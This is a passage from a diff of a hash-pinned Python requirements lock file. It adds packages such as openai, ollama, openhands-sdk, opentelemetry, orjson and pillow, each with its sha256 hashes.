--hash=sha256:51cb455de290ae462593e5b1cb1118c5c22ea7f0d3620d9940bf695cea5a4bd7 \ + --hash=sha256:521f33e377ff64b96c4c556b81c55d0cfffb96a11c194fd0c3f1e56f3d8dd5a4 \ + --hash=sha256:53a42d364f323275126aff81fb67c5ca1b7a04fda0546245730a55c8c5f24bc4 \ + --hash=sha256:5aa873cbc8e593d361ae65c68f85faadd755c3295ea2c12040ee146802f23b38 \ + --hash=sha256:654030da3197d927f05a536a66186070e98765aa5142794c9904555d3a9d8fb5 \ + --hash=sha256:661709cdcd919a2ece2234f9bae7174e5220c80b034585d7d8a755632d3e2111 \ + --hash=sha256:680878b9f3d45c31e1f730eef731f9b0bc1da456155688c6745ee84eb818e90e \ + --hash=sha256:6843b28b0364dc605f21481c90fadb5f60d9123b442eb8a726bb74feef588a84 \ + --hash=sha256:68af405971779d8b37198726f2b6fe3955db846fee42db7a4286fc542203934c \ + --hash=sha256:6b4c3d199f953acd5b446bf7c0de1fe25d94e09e79086f8dc2f48a11a129cdf1 \ + --hash=sha256:6bdce131e14b04fd34a809b6380dbfd826065c3e2fe8a50dbae659fa0c390546 \ + --hash=sha256:716133f7d1d946a4e1b91b1756b23c088881e70ff180c24e864c26192ad7534a \ + --hash=sha256:749a72584761531d2b9467cfbdfd29487ee21124c304c4b6cb760d8777b27f9c \ + --hash=sha256:7516c579652f6a6be0e266aec0acd0db80829ca305c3d771ed898538804c2036 \ + --hash=sha256:79dcf9e477bc65414ebfea98ffd013cb39552b5ecd62908752e0e413d6d06e38 \ + --hash=sha256:7a0222514e8e4c514660e182d5156a415c13ef0aabbd71682fc714e327b95e99 \ + --hash=sha256:7b022717c748dd1992a83e219587aabe45980d88969f01b316e78683e6285f64 \ + --hash=sha256:7bf77f54997a9166a2f5675d1201520586439424c2511723a7312bdb4bcc034e \ + --hash=sha256:7e73299c99939f089dd9b2120a04a516b95cdf8c1cd2b18c53ebf0de80b1f18f \ + --hash=sha256:7ef6b61cad77091056ce0e7ce69814ef72afacb150b7ac6a3e9470def2198159 \ + --hash=sha256:7f5170993a0dd3ab871c74f45c0a21a4e2c37a2f2b01b5f722a2ad9c6650469e \ + --hash=sha256:803d685de7be4303b5a657b76e2f6d1240e7e0a8aa2968ad5811fa2285553a12 \ + --hash=sha256:8891681594162635948a636c9fe0ff21746aeb3dd5463f6e25d9bea3a8a39ca1 \ + --hash=sha256:8a19cdb57cd3df4cd865849d93ee14920fb97224300c88501f16ecfa2604b4e0 \ + --hash=sha256:8a3862568a36d26e650a19bb5cbbba14b71789032aebc0423f8cc5f150730184 \ + --hash=sha256:8b55d5497b51afdfde55925e04a022f1de14d4f4f25cdfd4f5d9b0aa96166851 \ + --hash=sha256:8cfc12a8630a29d601f48d47787bd7eb730e475e83edb5d6c5084317463373eb \ + --hash=sha256:9281bf5b34f59afbc6b1e477a372e9526b66ca446f4bf62592839c195a718b32 \ + --hash=sha256:92abb658ef2d7ef22ac9f8bb88e8b6c3e571671534e029359b6d9e845923eb1b \ + --hash=sha256:94218fcec4d72bc61df51c198d098ce2b378e0ccbac41ddbed5ef44092913288 \ + --hash=sha256:95b5ffa4349df2887518bb839409bcf22caa72d82beec453216802f475b23c81 \ + --hash=sha256:9600082733859f00d79dee64effc7aef1beb26adb297416a4ad2116fd61374bd \ + --hash=sha256:960c60b5849b9b4f9dcc9bea6e3626143c252c74113df2c1540aebce70209b45 \ + --hash=sha256:9b2fd74c52accced7e75de26023b7dccee62511a600e62311b918ec5c168fc2a \ + --hash=sha256:9c0359b1ec12b1d6849c59f9d319610b7f20ef990a6d454ab151aa0e3b9f78ca \ + --hash=sha256:9cf41880c991716f3c7cec48e2f19ae4045fc9db5fc9cff27347ada24d710bb5 \ + --hash=sha256:9d14baca2ee12c1a64740d4531356ba50b82543017f3ad6de0deb943c5979abb \ + --hash=sha256:9f474ad5acda359c8758c8accc22032c6abe6dc87a8be2440d097785e27a9349 \ + --hash=sha256:9fb0211dfc3b51efea2f349ec92c114d7754dd62c01f81c3e32b765b70c45c9b \ + --hash=sha256:9fe04da3f79387f450fd0061d4dd2e45a72749d31bf634aecc9e27f24fdc4b3f \ + --hash=sha256:9ff96e8815eecacc6645da76c413eb3b3d34cfca256c70b16b286a687d013c32 \ + --hash=sha256:a027ec240fe73a8d6281872690b988eed307cd7d91b23998ff35ff577ca688b5 \ + --hash=sha256:a048ce45dcdaaf1defb76b2e684f997fb5abf74437b6cb7b22ddad934a964e34 \ + --hash=sha256:a265acbb7bb33a3a2d626afbe756371dce0279e7b17f4f4eda406459c2b5ff1c \ + --hash=sha256:a35c5fc61d4f51eb045061e7967cfe3123d622cd500e8868e7c0c592a09fedc4 \ + --hash=sha256:a37bd74c3fa9d00be2d7b8eca074dc56bd8077ddd2917a839bd989612671ed17 \ + --hash=sha256:a60a4d75718a5efa473ebd5ab685786ba0c67b8381f781d1be14da49f1a2dc60 \ + --hash=sha256:a6ef16328011d3f468e7ebc326f24c1445f001ca1dec335b2f8e66bed3006394 \ + --hash=sha256:a90af66facec4cebe4181b9e62a68be65e45ac9b52b67de9eec118701856e7ff \ + --hash=sha256:ad9ce259f50abd98a1ca0aa6e490b58c316a0fce0617f609723e40804add2c00 \ + --hash=sha256:afa8a2978ec65d2336305550535c9c4ff50ee527914328c8677b3973ade52b85 \ + --hash=sha256:b15b3afff74f707b9275d5ba6a91ae8f6429c3ffb29bbfd216b0b375a56f13d7 \ + --hash=sha256:b284e319754366c1aee2267a2036248b24eeb17ecd5dc16022095e747f2f4304 \ + --hash=sha256:b2d7f80c4e1fd010b07cb26820aae86b7e73b681ee4889684fb8d2d4537aab13 \ + --hash=sha256:b3bc26a951007b1057a1c543af845f1c7e3e71cc240ed1ace7bf4484aa99196e \ + --hash=sha256:b3e34f3a1b8131ba06f1a73adab24f30934d148afcd5f5de9a73565a4404384e \ + --hash=sha256:b4121773c49a0776461f4a904cdf6264c88e42218aaa8407e803ca8025872792 \ + --hash=sha256:b61189b29081a20c7e4e0b49b44d5d44bb0dc92be3c6d06a11cc043f81bf9329 \ + --hash=sha256:b6234e14f9314731ec45c42fc4554b88133ad53a09092cc48a88e771c125dadb \ + --hash=sha256:b8512bac933afc3e45fb2b18da8e59b78d4f408399a960339598374d4ae3b56b \ + --hash=sha256:ba672b26069957ee369cfa7fc180dde1fc6f176eaf1e6beaf61fbebbd3d9c000 \ + --hash=sha256:bee7c0588aa0076ce77c0ea5d19a68d76ad81fcd9fe8501003b9a24f9d4000f6 \ + --hash=sha256:c04a328260dfd5db8c39538f999f02779012268f54614902d0afc775d44e0a62 \ + --hash=sha256:c1dcc7524066fa918c6a27d61444d4ee7900ec635779058571f70d042d86ed63 \ + --hash=sha256:c6e99d9a65ca282e578dfea819cfa9c0a62b2499d8677392e09feaf305e9e6f5 \ + --hash=sha256:ca43bdfa5d37bd6aee89d85e1d0831fb86e25541be7e9d376ead1b28974f8e5e \ + --hash=sha256:caf53b15b1b7df9fbd0709aa01409000a2b4dd03a5f6f5cc548183c7c8f8b63c \ + --hash=sha256:cc41db090ed742f32bd2d2c721861725e6109681eddf835d0a82bd3a5c382827 \ + --hash=sha256:cd240939f71c64bd658f186330603aac1a9a81bf6273f523fca63673cb7378a8 \ + --hash=sha256:ce8fdc2dca699f8dbf055a61d73eaa10482569ad20ee3c36ef9641f69afa8c91 \ + --hash=sha256:d1bed1b467ef657f2a0ae62844a607909ef1c6889562de5e1d505f74457d0b96 \ + --hash=sha256:d1d964afecdf3a8288789df2f5751dc0a8261138c3768d9af117ed384e538fad \ + --hash=sha256:d4393e3581e84e5645506923816b9cc81f5609a778c7e7534054091acc64d1c6 \ + --hash=sha256:d874eb056410ca05fed180b6642e680373688efafc7f077b2a2f61811e873a40 \ + --hash=sha256:db99677b4457c7a5c5a949353e125ba72d62b35f74e26da141530fbb012218a7 \ + --hash=sha256:dd32a49400a2c3d52088e120ee00c1e3576cbff7e10b98467962c74fdb762ed4 \ + --hash=sha256:df0e3bf7993bdbeca5ac25aa859cf40d39019e015c9c91809ba7093967f7a648 \ + --hash=sha256:e011555abada53f1578d63389610ac8a5400fc70ce71156b0aa30d326f1a5064 \ + --hash=sha256:e2862408c99f84aa571ab462d25236ef9cb12a602ea959ba9c9009a54902fc73 \ + --hash=sha256:e3aa16de190d29a0ea1b48253c57d99a68492c8dd8948638073ab9e74dc9410b \ + --hash=sha256:e93a0617cd16998784bf4414c7e40f17a35d2350e5c6f0bd900d3a8e02bd3762 \ + --hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + 